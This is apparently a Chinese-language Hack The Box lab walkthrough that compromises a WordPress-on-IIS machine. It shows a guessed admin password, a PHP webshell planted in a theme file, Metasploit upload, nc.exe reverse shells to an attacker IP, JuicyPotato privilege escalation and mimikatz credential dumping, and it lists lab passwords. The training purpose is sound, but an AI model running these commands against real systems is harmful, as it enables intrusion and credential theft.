0x01 前言

根据hackthebox的惯性,我在这里收集了前面的所有密码:

  • Archetype:

    Mssql:M3g4c0rp123

    Administrator:MEGACORP_4dm1n!!

  • Oopsie

    Mysql:M3g3C0rpUs3r!

    ftp:mc@F1l3ZilL4

  • Vaccine

    Zip:741852963

    Web:qwerty789

    postgres:P@s5w0rd!

0x02 过程

信息收集

1

Getshell

看到只有两个端口:80、3306,3306我尝试了连接,发现不给外链,那入口就应该在80端口,打开是一个iis默认的页面

2

开dirbuster进行目录扫描,发现是一个wordpress程序:

3

看到是wp中间散发了挺多思路的,首先是使用wpscan进行插件、主题漏洞扫描,之后是枚举用户密码。

后来发现wp的版本是大于5.0的,很多漏洞都不能利用了,尝试密码大法最终使用**P@s5w0rd!**成功登陆了后台:

4

编辑主题:http://10.10.10.29/wordpress/wp-admin/theme-editor.php?file=search.php&theme=twentysixteen

修改了search.php的内容为我们的冰蝎php马:

5

一句话地址:http://10.10.10.29/wordpress/wp-content/themes/twentysixteen/search.php

6

用冰蝎命令执行没有交互式,有交互式的虚拟终端太卡了。还是上msf吧:

msf > use exploit/unix/webapp/wp_admin_shell_upload
msf > set PASSWORD P@s5w0rd!
msf > set USERNAME admin
msf > set TARGETURI /wordpress
msf > set RHOSTS 10.10.10.29
msf > run

7

使用msf的shell还是不好用,毕竟是根据webshell来建立连接的:

8

还是直接上nc,使用刚才在冰蝎上传的nc.exe:

execute -f nc.exe -a "-e cmd.exe 10.10.14.33 1234"

9

提权

win2016以上估计也就只有烂土豆了,上传了一个,但不是webshell版本的,使用官方的方法,写入一个bat文件,内容为:

START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111

在反弹shell上面执行

echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111 > shell.bat

监听端口:

nc -lvp 1111

执行烂土豆:

JuicyPotato.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337

10

官方说要把JuicyPotato.exe改名能躲过Windows Defender查杀,实验中不改名也可以正常使用。

后面就是获取用户的密码步骤了

上传mimikatz

./mimikatz.exe
sekurlsa::logonpasswords

获得用Sandra的密码, 估计这个密码在下面的靶机中也能用到

后面尝试了,为什么在webshell执行烂土豆的时候会失败,是因为没有加上CLSID参数,默认的是会出现COM -> recv failed with error: 10038失败的。

因为靶机是2016所以在https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2016_Standard

找到2016的clsid就可以了。

11

0x03 总结

1、看到80端口必定有很大概率是从web入手的,一般扫一下目录就可以了。

2、这次web用的是wp,一开始就先尝试密码会省下很多时间。

3、烂土豆 (JuicyPotato)

使用方法:

(1)查看当前用户权限,是否符合要求

whoami /priv

如果开启SeImpersonate权限,juicypotato的参数可以使用-t t

如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u

如果均开启,可以选择-t *

如果均未开启,那么无法提权

(2)查看RPC默认端口是否为135

如果被修改(例如为111),juicypotato的参数可以使用-n 111

如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:

找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k <ip>

例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录

添加防火墙规则允许135端口入站的命令如下:

netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

也可以选择将防火墙关闭,可参考绕过UAC关闭防火墙的代码:

https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC/blob/master/DisableFirewall.cpp

(3)根据操作系统选择可用的CLSID

参考列表 https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

例如测试系统Server2012,选择CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}

(4)选择一个系统未占用的端口作为监听端口

例如,最终参数如下:

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}

表示开启SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}

4、rlwrap

它是一个用于反弹shell的时候,我们通常按上下会出现乱码,使用这个辅助工具就可以正常使用上下减号等操作:

kali安装:

apt install rlwarp

其他系统可以参照:https://github.com/hanslub42/rlwrap

使用方法:

rlwarp nc -lvnp 1234